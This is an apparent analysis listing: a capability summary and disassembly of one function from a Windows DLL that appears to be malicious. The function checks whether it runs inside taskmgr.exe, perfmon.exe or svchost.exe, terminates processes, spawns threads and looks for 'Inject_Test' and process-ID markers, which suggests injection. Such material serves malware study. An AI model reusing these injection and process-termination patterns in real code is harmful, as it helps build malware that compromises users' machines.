Function at 0x180002a14
Capabilities:
Accept command line arguments
Create thread
Initialize winsock library
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
call fcn.1800147c4
call fcn.180016388
mov ecx, 0x202
lea rdx, [rbp + 0x350]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x180002bce
call fcn.180016770
and dword [rbp + 0x510], 0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp + 0x510]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rbx, rax
call fcn.1800083cc
mov rdi, rax
call fcn.180011750
mov qword [0x1800649c0], rax
call fcn.180011750
xor edx, edx
mov qword [0x1800649b8], rax
mov r8d, 0x208
lea rcx, [rsp + 0x30]
call sub.ntdll.dll_memset
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rsp + 0x30]
call fcn.1800155d8
lea rdx, str.Inject_Test
lea rcx, [0x180064988]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x180002ad8
mov rcx, rdi
call qword [rdi]
lea rdx, str.taskmgr.exe
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x180002afc
call fcn.180002f28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
lea rdx, str.perfmon.exe
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x180002b23
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x180002c2e
lea rcx, str.Schedule
call fcn.180015e90
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp ebx, eax
jne 0x180002bf0
lea rcx, [0x18006485c]
call fcn.180015684
test eax, eax
je 0x180002b95
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180002b95
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.180002d04
mov rbx, rax
test rax, rax
je 0x180002be3
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
and dword [rbp + 0x508], 0
lea rdx, [rbp + 0x508]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp + 0x508], 0x7b
jne 0x180002b95
lea r11, [rsp + 0x5f0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180002b95
and qword [rsp + 0x28], 0
lea r8, [0x18000269c]
and dword [rsp + 0x20], 0
mov r9, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x180002bf0
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180002bf0
cmp dword [rbp + 0x510], 1
jne 0x180002ca5
xor edx, edx
lea rcx, [rbp + 0x140]
mov r8d, 0x208
call sub.ntdll.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x140]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [0x180064794]
lea rcx, [rbp + 0x140]
call qword [sym.imp.ntdll.dll_wcsstr]
test rax, rax
je 0x180002c9b
call fcn.180014b2c
cmp eax, 0x40
jne 0x180002c8d
call fcn.180002d94
jmp 0x180002bce
call fcn.180002d04
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.18000282c
jmp 0x180002bce
mov rdx, qword [rbx + 8]
lea rcx, str._Processid:F8284233_48F4_4680_ADDD_F8284233
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x180002bce
call fcn.180002754
int3